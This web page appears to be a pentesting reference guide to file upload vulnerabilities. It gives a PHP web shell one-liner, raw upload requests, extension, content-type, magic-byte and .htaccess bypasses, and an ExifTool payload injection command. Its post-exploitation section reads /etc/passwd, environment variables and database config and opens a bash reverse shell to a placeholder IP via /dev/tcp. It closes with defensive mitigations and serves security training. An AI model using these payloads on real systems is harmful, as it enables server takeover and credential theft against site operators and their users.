Skip to content

File Upload Vulnerabilities

Complete Reference Guide


1. What Are File Upload Vulnerabilities?

File upload functionality is a common attack surface. When a server insufficiently validates what gets uploaded, an attacker can plant malicious files that lead to Remote Code Execution (RCE), information leaks, or server-side attacks.

Attacker uploads shell.php → server stores it → attacker requests the URL → RCE

The severity depends on two factors: - Which aspects of the file are validated (type, contents, extension) - What the server does with the file after the upload


2. Impact

Impact Example
Remote Code Execution Upload a web shell → run OS commands
Server-side attacks Trigger SSRF via an uploaded SVG or XML
Client-side attacks XSS via uploaded HTML or SVG
Directory traversal Place a file outside the intended directory
DoS Uploading extremely large files
Information leak File contents or a server path leaks in the response

3. How Does a Web Shell Work?

A web shell is a file containing server-side code that executes OS commands when it's invoked via HTTP.

Minimal PHP Web Shell

<?php echo system($_GET['cmd']); ?>

Invoked via:

GET /uploads/shell.php?cmd=id HTTP/1.1
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

Full PHP Web Shell

<?php echo "<pre>" . system($_GET['cmd']) . "</pre>"; ?>

4. Attack Techniques

4a. No Validation — Direct Upload

The easiest variant: the server accepts anything without any check.

POST /upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo system($_GET['cmd']); ?>

Then: GET /uploads/shell.php?cmd=whoami


4b. Bypassing Content-Type Validation

The server checks the Content-Type header in the request — but that header is sent by the client and fully controllable.

Bypass: change the Content-Type to an allowed type while the content stays malicious:

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg        ← changed in Burp Repeater

<?php echo system($_GET['cmd']); ?>

The server thinks it's a JPEG — but it's PHP.


4c. Bypassing an Extension Blacklist

The server blocks .php but has an incomplete blacklist.

Alternative PHP extensions that often work:

.php3
.php4
.php5
.php7
.phtml
.phar
.shtml

Test each variant — some servers execute all of these extensions as PHP.

Capitalization variant:

shell.PHP
shell.Php
shell.pHp

4d. Bypassing an Extension Whitelist — Double Extension

The server only allows .jpg but only validates the last part:

shell.php.jpg       ← ends in .jpg → whitelist check ok
                    ← the server parses it as PHP due to Apache config

Or the reverse — some servers look at the first extension:

shell.jpg.php

4e. Null Byte Injection

On legacy systems (PHP < 5.3.4, C-based validation):

shell.php%00.jpg

The null byte terminates the string at the validation check → it sees .jpg The OS ignores everything after \0 → stores it as shell.php


4f. Content-Type Spoofing via Magic Bytes

Some servers validate the file contents via magic bytes (the first bytes of a file that determine its type).

JPEG magic bytes: FF D8 FF

Payload with valid magic bytes + PHP code:

FF D8 FF E0          ← valid JPEG header
...                  ← minimal JPEG structure
<?php system($_GET['cmd']); ?>   ← payload at the bottom

In practice: use a legitimate JPEG and inject the payload into the metadata via ExifTool:

exiftool -Comment="<?php system(\$_GET['cmd']); ?>" legitimate.jpg -o shell.jpg

The server validates the JPEG structure → approved The server processes the file as PHP → RCE

Only works if the server executes uploaded files as PHP, which is normally not the case for images. Requires additional misconfiguration or path traversal to be effective.


4g. .htaccess Abuse (Apache)

If you can upload a .htaccess file to the upload directory, you can instruct Apache to execute a specific extension as PHP:

AddType application/x-httpd-php .jpg

After uploading this .htaccess file, Apache treats all .jpg files in that directory as PHP.

Then you upload a normal .jpg with a PHP payload:

shell.jpg → gets executed as PHP thanks to .htaccess

Attack sequence:

1. Upload .htaccess with the AddType instruction
2. Upload shell.jpg with the PHP payload
3. Request shell.jpg via the browser → RCE

4h. Directory Traversal via the Filename

If the server uses the filename from the upload without sanitization:

filename="../shell.php"
filename="..%2Fshell.php"

The file ends up outside the upload directory — possibly in a directory that does execute PHP.


4i. Race Condition Exploit

Some servers temporarily upload the file, validate it, and delete it if it's invalid. There's a short window between upload and deletion.

Approach:

  1. Upload the malicious file
  2. Immediately (in parallel) send a request to the uploaded file
  3. If the timing lines up → the file executes before deletion

Widening the window:

Upload a large file with the payload at the front, followed by a lot of padding:

<?php system($_GET['cmd']); ?>[10MB of AAAA...]

The server takes longer to process it → a bigger chance of a successful race.

If the temporary directory got a pseudo-random name generated via uniqid() (timestamp-based), the name is brute-forceable via Burp Turbo Intruder.


4j. Upload via URL (Server-Side Fetch)

Some applications let you supply a URL instead of uploading a file. The server fetches the file itself — this is essentially an SSRF vector, but it can also be used to have malicious files fetched from an external server you control.


5. Where Does the Uploaded File Live?

After a successful upload, you need to be able to invoke the file. Find the upload location via:

  • The response after uploading — the server returns the path
  • The page source — <img src="/uploads/filename.jpg">
  • The Burp sitemap — scan the application after uploading
  • Commonly used default paths:
/uploads/
/files/
/media/
/images/
/static/uploads/
/user/avatar/
/assets/

6. Testing — Step by Step

Step 1 — Baseline: What Does the Server Accept?

Upload a legitimate file (a real JPEG) → check that it works and where it ends up.

Step 2 — Direct PHP Upload

Upload shell.php → check the response: - Accepted and executable? → direct RCE - Blocked on extension? → go to step 3 - Blocked on Content-Type? → go to step 4

Step 3 — Testing Alternative Extensions

shell.php3 / .php5 / .phtml / .phar / .PHP / .Php

Use Burp Intruder with an extension wordlist.

Step 4 — Content-Type Bypass

Change Content-Type: application/x-php to Content-Type: image/jpeg in Burp Repeater.

Step 5 — Magic Bytes Spoofing

Add JPEG magic bytes to the start of the PHP payload:

ÿØÿà<?php system($_GET['cmd']); ?>

Or use ExifTool to inject the payload into the metadata.

Step 6 — .htaccess Upload (Apache)

Try uploading a .htaccess file with:

AddType application/x-httpd-php .jpg

Step 7 — Double Extension / Null Byte

shell.php.jpg
shell.php%00.jpg
shell.jpg.php

Step 8 — Directory Traversal via the Filename

filename="../shell.php"
filename="..%2Fshell.php"

7. Automatic Detection — Burp Suite

What Burp DOES Detect

  • Basic file upload without validation (active scan)
  • Content-Type mismatches
  • Known web shell extensions that get accepted

What Burp Does NOT Detect Automatically

Blind spot Reason
.htaccess upload attack Requires multiple steps
Race conditions Timing-based, hard to automate
Magic bytes spoofing Requires binary payload construction
Directory traversal via filename Context-dependent
Null byte injection Less relevant on modern systems
Burp active scan = detects the low-hanging fruit
Manual testing   = necessary for most bypasses

8. Tools

Tool Use
Burp Suite Pro Repeater for bypass tests, Intruder for extension fuzzing
Burp Turbo Intruder Race condition exploitation
ExifTool Injecting a payload into image metadata
ExifTool (Windows) exiftool.exe from exiftool.org or via WSL2 apt install exiftool
ffuf Brute-forcing the upload path
SecLists /Discovery/Web-Content/ for upload paths

9. After Confirmation — Next Steps

Web shell active
    │
    ├─ whoami / id           → which user is the server running as?
    ├─ cat /etc/passwd        → user list
    ├─ env                    → environment variables / credentials
    ├─ ls -la /var/www/       → explore the application structure
    ├─ cat config.php         → database credentials
    ├─ netstat -an            → internal services / open ports
    └─ Pivot to a reverse shell for interactive access

Reverse Shell via a Web Shell

# Invoke via the web shell:
?cmd=bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

# Listener on your machine:
nc -lvnp 4444

10. Mitigations

  • Validate server-side — never trust the Content-Type header from the client
  • Whitelist of allowed extensions — not a blacklist
  • Rename uploaded files — use a UUID, never the original filename
  • Store files outside the webroot — files in /var/uploads/ aren't directly reachable via HTTP
  • Serve files via a separate domain — uploads.example.com with no PHP execution
  • Disable execution in the upload directory — Apache/Nginx configuration:
# Apache — prevents scripts from executing in the upload directory
<Directory /var/www/html/uploads>
    php_flag engine off
    Options -ExecCGI
    AddHandler cgi-script .php .php3 .php4 .phtml .phar
</Directory>
  • Validate the file contents — check both magic bytes and file structure
  • Limit file size — prevents DoS and shrinks the race condition window
  • Use a CDN or object storage (S3, Cloudflare R2) — no server-side execution possible